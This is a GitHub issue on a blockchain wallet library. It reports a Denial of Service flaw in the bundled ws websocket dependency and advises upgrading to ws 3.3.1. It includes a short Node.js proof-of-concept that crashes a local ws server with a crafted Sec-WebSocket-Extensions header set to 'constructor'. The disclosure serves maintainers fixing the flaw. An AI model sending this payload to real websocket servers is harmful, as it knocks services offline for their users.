blockchain / My-Wallet-V3

Blockchain Web Wallet Library - https://support.blockchain.com
https://blockchain.info/wallet
413 stars 284 forks source link

Denial of Service (DoS) #545

Open larrycameron80 opened 5 years ago

larrycameron80 commented 5 years ago

Denial of Service (DoS) Vulnerable module: ws Introduced through: ws@2.0.3 Detailed paths Introduced through: blockchain-wallet-client@blockchain/My-Wallet-V3#c0bf5615c862fb8d7ec5e3f5031c2998b8ddc690 › ws@2.0.3 Remediation: Upgrade to ws@3.3.1. Overview ws is a simple to use websocket client, server and console for node.js.

Affected versions of this package are vulnerable to Denial of Service (DoS) attacks. A specially crafted value of the Sec-WebSocket-Extensions header that used Object.prototype property names as extension or parameter names could be used to make a ws server crash.

PoC:

const WebSocket = require('ws'); const net = require('net');

const wss = new WebSocket.Server({ port: 3000 }, function () { const payload = 'constructor'; // or ',;constructor'

const request = [ 'GET / HTTP/1.1', 'Connection: Upgrade', 'Sec-WebSocket-Key: test', 'Sec-WebSocket-Version: 8', Sec-WebSocket-Extensions: ${payload}, 'Upgrade: websocket', '\r\n' ].join('\r\n');

const socket = net.connect(3000, function () { socket.resume(); socket.write(request); }); });